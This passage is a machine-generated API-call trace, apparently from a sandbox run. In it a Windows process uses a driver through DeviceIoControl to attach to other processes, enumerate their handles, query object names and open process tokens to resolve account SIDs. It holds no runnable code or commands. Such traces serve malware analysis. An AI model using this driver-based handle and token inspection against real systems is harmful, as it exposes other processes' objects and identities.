ObfDereferenceObject (Object=0xfffffa80020f7cb0) returned 0x1 [0137.814] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.814] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.814] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0137.814] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.814] PsAcquireProcessExitSynchronization () returned 0x0 [0137.815] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054735d0) [0137.815] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a225b0, HandleInformation=0x0) returned 0x0 [0137.815] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.815] PsReleaseProcessExitSynchronization () returned 0x2 [0137.815] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0137.815] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.815] ObfDereferenceObject (Object=0xfffffa8001a225b0) returned 0x1 [0137.815] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.815] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.815] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.815] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.815] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.815] PsAcquireProcessExitSynchronization () returned 0x0 [0137.815] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054735d0) [0137.815] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.815] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.815] PsReleaseProcessExitSynchronization () returned 0x2 [0137.815] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0137.815] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.815] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.815] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.815] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.815] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xac0) returned 0xc0 [0137.815] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.815] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002110630, HandleInformation=0x0) returned 0x0 [0137.815] ObOpenObjectByPointer (in: Object=0xfffffa8002110630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.815] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x12 [0137.815] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.815] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.815] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.815] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.815] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.817] CloseHandle (hObject=0xc8) returned 1 [0137.817] CloseHandle (hObject=0xc0) returned 1 [0137.817] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.817] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.817] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.817] PsAcquireProcessExitSynchronization () returned 0x0 [0137.817] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054735d0) [0137.817] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020ceba0, HandleInformation=0x0) returned 0x0 [0137.817] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.817] PsReleaseProcessExitSynchronization () returned 0x2 [0137.817] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0137.817] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.817] ObfDereferenceObject (Object=0xfffffa80020ceba0) returned 0x1 [0137.817] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.817] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.817] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.817] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0137.817] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.817] PsAcquireProcessExitSynchronization () returned 0x0 [0137.817] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054735d0) [0137.817] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002127ac0, HandleInformation=0x0) returned 0x0 [0137.817] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.818] PsReleaseProcessExitSynchronization () returned 0x2 [0137.818] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0137.818] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.818] ObfDereferenceObject (Object=0xfffffa8002127ac0) returned 0x1 [0137.818] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.818] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.818] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.818] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.818] PsAcquireProcessExitSynchronization () returned 0x0 [0137.818] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054735d0) [0137.818] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.818] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.818] PsReleaseProcessExitSynchronization () returned 0x2 [0137.818] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0137.818] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.818] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.818] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.818] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.818] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xad0) returned 0xc0 [0137.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.818] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002121b30, HandleInformation=0x0) returned 0x0 [0137.818] ObOpenObjectByPointer (in: Object=0xfffffa8002121b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.818] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x12 [0137.818] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.818] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.818] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.818] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.818] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.820] CloseHandle (hObject=0xc8) returned 1 [0137.820] CloseHandle (hObject=0xc0) returned 1 [0137.820] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.820] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.820] PsAcquireProcessExitSynchronization () returned 0x0 [0137.820] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054735d0) [0137.820] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020ca070, HandleInformation=0x0) returned 0x0 [0137.820] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.820] PsReleaseProcessExitSynchronization () returned 0x2 [0137.820] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0137.820] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.820] ObfDereferenceObject (Object=0xfffffa80020ca070) returned 0x1 [0137.820] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.820] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.820] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0137.820] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.820] PsAcquireProcessExitSynchronization () returned 0x0 [0137.820] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054735d0) [0137.820] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800212f6f0, HandleInformation=0x0) returned 0x0 [0137.820] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.820] PsReleaseProcessExitSynchronization () returned 0x2 [0137.820] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0137.821] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.821] ObfDereferenceObject (Object=0xfffffa800212f6f0) returned 0x1 [0137.821] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.821] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.821] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.821] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.821] PsAcquireProcessExitSynchronization () returned 0x0 [0137.821] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054735d0) [0137.821] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.821] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.821] PsReleaseProcessExitSynchronization () returned 0x2 [0137.821] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0137.821] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.821] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.821] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.821] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.821] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xae0) returned 0xc0 [0137.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.821] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80021385f0, HandleInformation=0x0) returned 0x0 [0137.821] ObOpenObjectByPointer (in: Object=0xfffffa80021385f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.821] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x12 [0137.821] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.821] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.821] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.821] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.821] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.823] CloseHandle (hObject=0xc8) returned 1 [0137.823] CloseHandle (hObject=0xc0) returned 1 [0137.823] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.823] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.823] PsAcquireProcessExitSynchronization () returned 0x0 [0137.823] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054735d0) [0137.823] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002138f20, HandleInformation=0x0) returned 0x0 [0137.823] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.823] PsReleaseProcessExitSynchronization () returned 0x2 [0137.823] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0137.823] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.823] ObfDereferenceObject (Object=0xfffffa8002138f20) returned 0x1 [0137.823] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.823] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.823] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0137.823] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.823] PsAcquireProcessExitSynchronization () returned 0x0 [0137.823] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054735d0) [0137.823] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213cf20, HandleInformation=0x0) returned 0x0 [0137.823] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.824] PsReleaseProcessExitSynchronization () returned 0x2 [0137.824] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0137.824] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.824] ObfDereferenceObject (Object=0xfffffa800213cf20) returned 0x1 [0137.824] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.824] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.824] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.824] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.824] PsAcquireProcessExitSynchronization () returned 0x0 [0137.824] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054735d0) [0137.824] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.824] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.824] PsReleaseProcessExitSynchronization () returned 0x2 [0137.824] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0137.824] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.824] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.824] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.824] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.824] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaf0) returned 0xc0 [0137.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.824] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002146b30, HandleInformation=0x0) returned 0x0 [0137.824] ObOpenObjectByPointer (in: Object=0xfffffa8002146b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, 